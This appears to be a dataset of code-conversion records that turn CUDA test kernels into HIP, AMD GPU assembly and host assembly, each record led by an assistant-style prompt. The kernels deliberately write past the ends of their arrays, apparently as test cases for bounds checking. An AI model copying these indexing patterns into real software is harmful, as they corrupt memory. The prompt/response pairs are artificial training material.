.globl _Z48__device_stub__Z29test_statements_in_while_bodyvv
.type _Z48__device_stub__Z29test_statements_in_while_bodyvv, @function
_Z48__device_stub__Z29test_statements_in_while_bodyvv:
.LFB2055:
.cfi_startproc
endbr64
subq $88, %rsp
.cfi_def_cfa_offset 96
movq %fs:40, %rax
movq %rax, 72(%rsp)
xorl %eax, %eax
movl $1, 16(%rsp)
movl $1, 20(%rsp)
movl $1, 24(%rsp)
movl $1, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
leaq 8(%rsp), %rcx
movq %rsp, %rdx
leaq 28(%rsp), %rsi
leaq 16(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L23
.L19:
movq 72(%rsp), %rax
subq %fs:40, %rax
jne .L24
addq $88, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L23:
.cfi_restore_state
pushq 8(%rsp)
.cfi_def_cfa_offset 104
pushq 8(%rsp)
.cfi_def_cfa_offset 112
leaq 80(%rsp), %r9
movq 44(%rsp), %rcx
movl 52(%rsp), %r8d
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
leaq _Z29test_statements_in_while_bodyv(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 96
jmp .L19
.L24:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2055:
.size _Z48__device_stub__Z29test_statements_in_while_bodyvv, .-_Z48__device_stub__Z29test_statements_in_while_bodyvv
.globl _Z29test_statements_in_while_bodyv
.type _Z29test_statements_in_while_bodyv, @function
_Z29test_statements_in_while_bodyv:
.LFB2056:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z48__device_stub__Z29test_statements_in_while_bodyvv
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2056:
.size _Z29test_statements_in_while_bodyv, .-_Z29test_statements_in_while_bodyv
.globl _Z26__device_stub__Z8test_forvv
.type _Z26__device_stub__Z8test_forvv, @function
_Z26__device_stub__Z8test_forvv:
.LFB2057:
.cfi_startproc
endbr64
subq $88, %rsp
.cfi_def_cfa_offset 96
movq %fs:40, %rax
movq %rax, 72(%rsp)
xorl %eax, %eax
movl $1, 16(%rsp)
movl $1, 20(%rsp)
movl $1, 24(%rsp)
movl $1, 28(%rsp)
movl $1, 32(%rsp)
movl $1, 36(%rsp)
leaq 8(%rsp), %rcx
movq %rsp, %rdx
leaq 28(%rsp), %rsi
leaq 16(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L31
.L27:
movq 72(%rsp), %rax
subq %fs:40, %rax
jne .L32
addq $88, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L31:
.cfi_restore_state
pushq 8(%rsp)
.cfi_def_cfa_offset 104
pushq 8(%rsp)
.cfi_def_cfa_offset 112
leaq 80(%rsp), %r9
movq 44(%rsp), %rcx
movl 52(%rsp), %r8d
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
leaq _Z8test_forv(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 96
jmp .L27
.L32:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2057:
.size _Z26__device_stub__Z8test_forvv, .-_Z26__device_stub__Z8test_forvv
.globl _Z8test_forv
.type _Z8test_forv, @function
_Z8test_forv:
.LFB2058:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z26__device_stub__Z8test_forvv
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2058:
.size _Z8test_forv, .-_Z8test_forv
.section .rodata.str1.1,"aMS",@progbits,1
.LC0:
.string "_Z8test_forv"
.section .rodata.str1.8,"aMS",@progbits,1
.align 8
.LC1:
.string "_Z29test_statements_in_while_bodyv"
.section .rodata.str1.1
.LC2:
.string "_Z16test_large_whilev"
.LC3:
.string "_Z10test_whilev"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2060:
.cfi_startproc
endbr64
pushq %rbx
.cfi_def_cfa_offset 16
.cfi_offset 3, -16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rbx
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC0(%rip), %rdx
movq %rdx, %rcx
leaq _Z8test_forv(%rip), %rsi
movq %rax, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC1(%rip), %rdx
movq %rdx, %rcx
leaq _Z29test_statements_in_while_bodyv(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC2(%rip), %rdx
movq %rdx, %rcx
leaq _Z16test_large_whilev(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
pushq $0
.cfi_def_cfa_offset 48
movl $0, %r9d
movl $-1, %r8d
leaq .LC3(%rip), %rdx
movq %rdx, %rcx
leaq _Z10test_whilev(%rip), %rsi
movq %rbx, %rdi
call __cudaRegisterFunction@PLT
addq $32, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaRegisterFatBinaryEnd@PLT
leaq _ZL26__cudaUnregisterBinaryUtilv(%rip), %rdi
call atexit@PLT
popq %rbx
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2060:
.size _ZL24__sti____cudaRegisterAllv, .-_ZL24__sti____cudaRegisterAllv
.section .init_array,"aw"
.align 8
.quad _ZL24__sti____cudaRegisterAllv
.section .nvFatBinSegment,"aw"
.align 8
.type _ZL15__fatDeviceText, @object
.size _ZL15__fatDeviceText, 24
_ZL15__fatDeviceText:
.long 1180844977
.long 1
.quad fatbinData
.quad 0
.local _ZL20__cudaFatCubinHandle
.comm _ZL20__cudaFatCubinHandle,8,8
.ident "GCC: (Ubuntu 13.3.0-6ubuntu2~24.04) 13.3.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4: |
You are a helpful coding assistant specialized in converting CUDA source code to HIP/AMD source code. | __global__ void test_while()
{
int a[5];
int x = 0;
int i = 0;
while (i++ < 5)
{
// i == 1..5
// x == 1..5
++x;
a[x] = 42;
a[x - 1] = 42;
}
// i == 6, x == 5
a[i] = 42;
a[x] = 42;
a[x - 1] = 42;
}
__global__ void test_large_while()
{
const int size = 10000;
int b[size];
int i = 0;
int x = 0;
while (i++ < size)
{
++x;
}
b[x] = 42;
b[x - 1] = 42;
}
__global__ void test_statements_in_while_body()
{
int a[5];
int c[100];
int out_bound = 20;
int inner_bound = 5;
int i = 0;
int x = 0;
while (i++ < out_bound)
{
if (i < 5)
{
a[i] = 42;
}
a[i] = 42;
int j = 0;
while (j++ < inner_bound)
{
++x;
}
}
c[x] = 42;
c[x - 1] = 42;
}
__global__ void test_for()
{
int a[5];
int x = 0;
for (int i = 0; i < 5; ++i)
{
++x;
a[x] = 42;
a[x - 1] = 42;
for (int j = 0; j < 10; ++j)
{
a[j] = 42;
a[j / 2] = 42;
}
a[i] = 42;
a[i + 1] = 42;
}
a[x] = 42;
a[x - 1] = 42;
} | #include <hip/hip_runtime.h>
__global__ void test_while()
{
int a[5];
int x = 0;
int i = 0;
while (i++ < 5)
{
// i == 1..5
// x == 1..5
++x;
a[x] = 42;
a[x - 1] = 42;
}
// i == 6, x == 5
a[i] = 42;
a[x] = 42;
a[x - 1] = 42;
}
__global__ void test_large_while()
{
const int size = 10000;
int b[size];
int i = 0;
int x = 0;
while (i++ < size)
{
++x;
}
b[x] = 42;
b[x - 1] = 42;
}
__global__ void test_statements_in_while_body()
{
int a[5];
int c[100];
int out_bound = 20;
int inner_bound = 5;
int i = 0;
int x = 0;
while (i++ < out_bound)
{
if (i < 5)
{
a[i] = 42;
}
a[i] = 42;
int j = 0;
while (j++ < inner_bound)
{
++x;
}
}
c[x] = 42;
c[x - 1] = 42;
}
__global__ void test_for()
{
int a[5];
int x = 0;
for (int i = 0; i < 5; ++i)
{
++x;
a[x] = 42;
a[x - 1] = 42;
for (int j = 0; j < 10; ++j)
{
a[j] = 42;
a[j / 2] = 42;
}
a[i] = 42;
a[i + 1] = 42;
}
a[x] = 42;
a[x - 1] = 42;
} |
You are a helpful coding assistant specialized in converting HIP source code to AMD device assembly. | #include <hip/hip_runtime.h>
__global__ void test_while()
{
int a[5];
int x = 0;
int i = 0;
while (i++ < 5)
{
// i == 1..5
// x == 1..5
++x;
a[x] = 42;
a[x - 1] = 42;
}
// i == 6, x == 5
a[i] = 42;
a[x] = 42;
a[x - 1] = 42;
}
__global__ void test_large_while()
{
const int size = 10000;
int b[size];
int i = 0;
int x = 0;
while (i++ < size)
{
++x;
}
b[x] = 42;
b[x - 1] = 42;
}
__global__ void test_statements_in_while_body()
{
int a[5];
int c[100];
int out_bound = 20;
int inner_bound = 5;
int i = 0;
int x = 0;
while (i++ < out_bound)
{
if (i < 5)
{
a[i] = 42;
}
a[i] = 42;
int j = 0;
while (j++ < inner_bound)
{
++x;
}
}
c[x] = 42;
c[x - 1] = 42;
}
__global__ void test_for()
{
int a[5];
int x = 0;
for (int i = 0; i < 5; ++i)
{
++x;
a[x] = 42;
a[x - 1] = 42;
for (int j = 0; j < 10; ++j)
{
a[j] = 42;
a[j / 2] = 42;
}
a[i] = 42;
a[i + 1] = 42;
}
a[x] = 42;
a[x - 1] = 42;
} | .text
.amdgcn_target "amdgcn-amd-amdhsa--gfx1100"
.protected _Z10test_whilev
.globl _Z10test_whilev
.p2align 8
.type _Z10test_whilev,@function
_Z10test_whilev:
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z10test_whilev
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 0
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 0
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 1
.amdhsa_next_free_sgpr 1
.amdhsa_reserve_vcc 0
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end0:
.size _Z10test_whilev, .Lfunc_end0-_Z10test_whilev
.section .AMDGPU.csdata,"",@progbits
.text
.protected _Z16test_large_whilev
.globl _Z16test_large_whilev
.p2align 8
.type _Z16test_large_whilev,@function
_Z16test_large_whilev:
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z16test_large_whilev
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 0
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 0
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 1
.amdhsa_next_free_sgpr 1
.amdhsa_reserve_vcc 0
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end1:
.size _Z16test_large_whilev, .Lfunc_end1-_Z16test_large_whilev
.section .AMDGPU.csdata,"",@progbits
.text
.protected _Z29test_statements_in_while_bodyv
.globl _Z29test_statements_in_while_bodyv
.p2align 8
.type _Z29test_statements_in_while_bodyv,@function
_Z29test_statements_in_while_bodyv:
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z29test_statements_in_while_bodyv
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 0
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 0
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 1
.amdhsa_next_free_sgpr 1
.amdhsa_reserve_vcc 0
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end2:
.size _Z29test_statements_in_while_bodyv, .Lfunc_end2-_Z29test_statements_in_while_bodyv
.section .AMDGPU.csdata,"",@progbits
.text
.protected _Z8test_forv
.globl _Z8test_forv
.p2align 8
.type _Z8test_forv,@function
_Z8test_forv:
s_endpgm
.section .rodata,"a",@progbits
.p2align 6, 0x0
.amdhsa_kernel _Z8test_forv
.amdhsa_group_segment_fixed_size 0
.amdhsa_private_segment_fixed_size 0
.amdhsa_kernarg_size 0
.amdhsa_user_sgpr_count 15
.amdhsa_user_sgpr_dispatch_ptr 0
.amdhsa_user_sgpr_queue_ptr 0
.amdhsa_user_sgpr_kernarg_segment_ptr 0
.amdhsa_user_sgpr_dispatch_id 0
.amdhsa_user_sgpr_private_segment_size 0
.amdhsa_wavefront_size32 1
.amdhsa_uses_dynamic_stack 0
.amdhsa_enable_private_segment 0
.amdhsa_system_sgpr_workgroup_id_x 1
.amdhsa_system_sgpr_workgroup_id_y 0
.amdhsa_system_sgpr_workgroup_id_z 0
.amdhsa_system_sgpr_workgroup_info 0
.amdhsa_system_vgpr_workitem_id 0
.amdhsa_next_free_vgpr 1
.amdhsa_next_free_sgpr 1
.amdhsa_reserve_vcc 0
.amdhsa_float_round_mode_32 0
.amdhsa_float_round_mode_16_64 0
.amdhsa_float_denorm_mode_32 3
.amdhsa_float_denorm_mode_16_64 3
.amdhsa_dx10_clamp 1
.amdhsa_ieee_mode 1
.amdhsa_fp16_overflow 0
.amdhsa_workgroup_processor_mode 1
.amdhsa_memory_ordered 1
.amdhsa_forward_progress 0
.amdhsa_shared_vgpr_count 0
.amdhsa_exception_fp_ieee_invalid_op 0
.amdhsa_exception_fp_denorm_src 0
.amdhsa_exception_fp_ieee_div_zero 0
.amdhsa_exception_fp_ieee_overflow 0
.amdhsa_exception_fp_ieee_underflow 0
.amdhsa_exception_fp_ieee_inexact 0
.amdhsa_exception_int_div_zero 0
.end_amdhsa_kernel
.text
.Lfunc_end3:
.size _Z8test_forv, .Lfunc_end3-_Z8test_forv
.section .AMDGPU.csdata,"",@progbits
.text
.p2alignl 7, 3214868480
.fill 96, 4, 3214868480
.type __hip_cuid_,@object
.section .bss,"aw",@nobits
.globl __hip_cuid_
__hip_cuid_:
.byte 0
.size __hip_cuid_, 1
.ident "AMD clang version 18.0.0git (https://github.com/RadeonOpenCompute/llvm-project roc-6.3.2 25012 e5bf7e55c91490b07c49d8960fa7983d864936c4)"
.section ".note.GNU-stack","",@progbits
.addrsig
.addrsig_sym __hip_cuid_
.amdgpu_metadata
---
amdhsa.kernels:
- .args: []
.group_segment_fixed_size: 0
.kernarg_segment_align: 4
.kernarg_segment_size: 0
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z10test_whilev
.private_segment_fixed_size: 0
.sgpr_count: 0
.sgpr_spill_count: 0
.symbol: _Z10test_whilev.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 0
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
- .args: []
.group_segment_fixed_size: 0
.kernarg_segment_align: 4
.kernarg_segment_size: 0
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z16test_large_whilev
.private_segment_fixed_size: 0
.sgpr_count: 0
.sgpr_spill_count: 0
.symbol: _Z16test_large_whilev.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 0
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
- .args: []
.group_segment_fixed_size: 0
.kernarg_segment_align: 4
.kernarg_segment_size: 0
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z29test_statements_in_while_bodyv
.private_segment_fixed_size: 0
.sgpr_count: 0
.sgpr_spill_count: 0
.symbol: _Z29test_statements_in_while_bodyv.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 0
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
- .args: []
.group_segment_fixed_size: 0
.kernarg_segment_align: 4
.kernarg_segment_size: 0
.language: OpenCL C
.language_version:
- 2
- 0
.max_flat_workgroup_size: 1024
.name: _Z8test_forv
.private_segment_fixed_size: 0
.sgpr_count: 0
.sgpr_spill_count: 0
.symbol: _Z8test_forv.kd
.uniform_work_group_size: 1
.uses_dynamic_stack: false
.vgpr_count: 0
.vgpr_spill_count: 0
.wavefront_size: 32
.workgroup_processor_mode: 1
amdhsa.target: amdgcn-amd-amdhsa--gfx1100
amdhsa.version:
- 1
- 2
...
.end_amdgpu_metadata |
You are a helpful coding assistant specialized in converting HIP source code to AMD host assembly. | #include <hip/hip_runtime.h>
__global__ void test_while()
{
int a[5];
int x = 0;
int i = 0;
while (i++ < 5)
{
// i == 1..5
// x == 1..5
++x;
a[x] = 42;
a[x - 1] = 42;
}
// i == 6, x == 5
a[i] = 42;
a[x] = 42;
a[x - 1] = 42;
}
__global__ void test_large_while()
{
const int size = 10000;
int b[size];
int i = 0;
int x = 0;
while (i++ < size)
{
++x;
}
b[x] = 42;
b[x - 1] = 42;
}
__global__ void test_statements_in_while_body()
{
int a[5];
int c[100];
int out_bound = 20;
int inner_bound = 5;
int i = 0;
int x = 0;
while (i++ < out_bound)
{
if (i < 5)
{
a[i] = 42;
}
a[i] = 42;
int j = 0;
while (j++ < inner_bound)
{
++x;
}
}
c[x] = 42;
c[x - 1] = 42;
}
__global__ void test_for()
{
int a[5];
int x = 0;
for (int i = 0; i < 5; ++i)
{
++x;
a[x] = 42;
a[x - 1] = 42;
for (int j = 0; j < 10; ++j)
{
a[j] = 42;
a[j / 2] = 42;
}
a[i] = 42;
a[i + 1] = 42;
}
a[x] = 42;
a[x - 1] = 42;
} | .text
.file "test_loops.hip"
.globl _Z25__device_stub__test_whilev # -- Begin function _Z25__device_stub__test_whilev
.p2align 4, 0x90
.type _Z25__device_stub__test_whilev,@function
_Z25__device_stub__test_whilev: # @_Z25__device_stub__test_whilev
.cfi_startproc
# %bb.0:
subq $56, %rsp
.cfi_def_cfa_offset 64
leaq 32(%rsp), %rdi
leaq 16(%rsp), %rsi
leaq 8(%rsp), %rdx
movq %rsp, %rcx
callq __hipPopCallConfiguration
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
movq 16(%rsp), %rcx
movl 24(%rsp), %r8d
leaq 48(%rsp), %r9
movl $_Z10test_whilev, %edi
pushq (%rsp)
.cfi_adjust_cfa_offset 8
pushq 16(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $72, %rsp
.cfi_adjust_cfa_offset -72
retq
.Lfunc_end0:
.size _Z25__device_stub__test_whilev, .Lfunc_end0-_Z25__device_stub__test_whilev
.cfi_endproc
# -- End function
.globl _Z31__device_stub__test_large_whilev # -- Begin function _Z31__device_stub__test_large_whilev
.p2align 4, 0x90
.type _Z31__device_stub__test_large_whilev,@function
_Z31__device_stub__test_large_whilev: # @_Z31__device_stub__test_large_whilev
.cfi_startproc
# %bb.0:
subq $56, %rsp
.cfi_def_cfa_offset 64
leaq 32(%rsp), %rdi
leaq 16(%rsp), %rsi
leaq 8(%rsp), %rdx
movq %rsp, %rcx
callq __hipPopCallConfiguration
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
movq 16(%rsp), %rcx
movl 24(%rsp), %r8d
leaq 48(%rsp), %r9
movl $_Z16test_large_whilev, %edi
pushq (%rsp)
.cfi_adjust_cfa_offset 8
pushq 16(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $72, %rsp
.cfi_adjust_cfa_offset -72
retq
.Lfunc_end1:
.size _Z31__device_stub__test_large_whilev, .Lfunc_end1-_Z31__device_stub__test_large_whilev
.cfi_endproc
# -- End function
.globl _Z44__device_stub__test_statements_in_while_bodyv # -- Begin function _Z44__device_stub__test_statements_in_while_bodyv
.p2align 4, 0x90
.type _Z44__device_stub__test_statements_in_while_bodyv,@function
_Z44__device_stub__test_statements_in_while_bodyv: # @_Z44__device_stub__test_statements_in_while_bodyv
.cfi_startproc
# %bb.0:
subq $56, %rsp
.cfi_def_cfa_offset 64
leaq 32(%rsp), %rdi
leaq 16(%rsp), %rsi
leaq 8(%rsp), %rdx
movq %rsp, %rcx
callq __hipPopCallConfiguration
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
movq 16(%rsp), %rcx
movl 24(%rsp), %r8d
leaq 48(%rsp), %r9
movl $_Z29test_statements_in_while_bodyv, %edi
pushq (%rsp)
.cfi_adjust_cfa_offset 8
pushq 16(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $72, %rsp
.cfi_adjust_cfa_offset -72
retq
.Lfunc_end2:
.size _Z44__device_stub__test_statements_in_while_bodyv, .Lfunc_end2-_Z44__device_stub__test_statements_in_while_bodyv
.cfi_endproc
# -- End function
.globl _Z23__device_stub__test_forv # -- Begin function _Z23__device_stub__test_forv
.p2align 4, 0x90
.type _Z23__device_stub__test_forv,@function
_Z23__device_stub__test_forv: # @_Z23__device_stub__test_forv
.cfi_startproc
# %bb.0:
subq $56, %rsp
.cfi_def_cfa_offset 64
leaq 32(%rsp), %rdi
leaq 16(%rsp), %rsi
leaq 8(%rsp), %rdx
movq %rsp, %rcx
callq __hipPopCallConfiguration
movq 32(%rsp), %rsi
movl 40(%rsp), %edx
movq 16(%rsp), %rcx
movl 24(%rsp), %r8d
leaq 48(%rsp), %r9
movl $_Z8test_forv, %edi
pushq (%rsp)
.cfi_adjust_cfa_offset 8
pushq 16(%rsp)
.cfi_adjust_cfa_offset 8
callq hipLaunchKernel
addq $72, %rsp
.cfi_adjust_cfa_offset -72
retq
.Lfunc_end3:
.size _Z23__device_stub__test_forv, .Lfunc_end3-_Z23__device_stub__test_forv
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_ctor
.type __hip_module_ctor,@function
__hip_module_ctor: # @__hip_module_ctor
.cfi_startproc
# %bb.0:
pushq %rbx
.cfi_def_cfa_offset 16
subq $32, %rsp
.cfi_def_cfa_offset 48
.cfi_offset %rbx, -16
cmpq $0, __hip_gpubin_handle(%rip)
jne .LBB4_2
# %bb.1:
movl $__hip_fatbin_wrapper, %edi
callq __hipRegisterFatBinary
movq %rax, __hip_gpubin_handle(%rip)
.LBB4_2:
movq __hip_gpubin_handle(%rip), %rbx
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z10test_whilev, %esi
movl $.L__unnamed_1, %edx
movl $.L__unnamed_1, %ecx
movq %rbx, %rdi
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z16test_large_whilev, %esi
movl $.L__unnamed_2, %edx
movl $.L__unnamed_2, %ecx
movq %rbx, %rdi
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z29test_statements_in_while_bodyv, %esi
movl $.L__unnamed_3, %edx
movl $.L__unnamed_3, %ecx
movq %rbx, %rdi
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
xorps %xmm0, %xmm0
movups %xmm0, 16(%rsp)
movups %xmm0, (%rsp)
movl $_Z8test_forv, %esi
movl $.L__unnamed_4, %edx
movl $.L__unnamed_4, %ecx
movq %rbx, %rdi
movl $-1, %r8d
xorl %r9d, %r9d
callq __hipRegisterFunction
movl $__hip_module_dtor, %edi
addq $32, %rsp
.cfi_def_cfa_offset 16
popq %rbx
.cfi_def_cfa_offset 8
jmp atexit # TAILCALL
.Lfunc_end4:
.size __hip_module_ctor, .Lfunc_end4-__hip_module_ctor
.cfi_endproc
# -- End function
.p2align 4, 0x90 # -- Begin function __hip_module_dtor
.type __hip_module_dtor,@function
__hip_module_dtor: # @__hip_module_dtor
.cfi_startproc
# %bb.0:
movq __hip_gpubin_handle(%rip), %rdi
testq %rdi, %rdi
je .LBB5_2
# %bb.1:
pushq %rax
.cfi_def_cfa_offset 16
callq __hipUnregisterFatBinary
movq $0, __hip_gpubin_handle(%rip)
addq $8, %rsp
.cfi_def_cfa_offset 8
.LBB5_2:
retq
.Lfunc_end5:
.size __hip_module_dtor, .Lfunc_end5-__hip_module_dtor
.cfi_endproc
# -- End function
.type _Z10test_whilev,@object # @_Z10test_whilev
.section .rodata,"a",@progbits
.globl _Z10test_whilev
.p2align 3, 0x0
_Z10test_whilev:
.quad _Z25__device_stub__test_whilev
.size _Z10test_whilev, 8
.type _Z16test_large_whilev,@object # @_Z16test_large_whilev
.globl _Z16test_large_whilev
.p2align 3, 0x0
_Z16test_large_whilev:
.quad _Z31__device_stub__test_large_whilev
.size _Z16test_large_whilev, 8
.type _Z29test_statements_in_while_bodyv,@object # @_Z29test_statements_in_while_bodyv
.globl _Z29test_statements_in_while_bodyv
.p2align 3, 0x0
_Z29test_statements_in_while_bodyv:
.quad _Z44__device_stub__test_statements_in_while_bodyv
.size _Z29test_statements_in_while_bodyv, 8
.type _Z8test_forv,@object # @_Z8test_forv
.globl _Z8test_forv
.p2align 3, 0x0
_Z8test_forv:
.quad _Z23__device_stub__test_forv
.size _Z8test_forv, 8
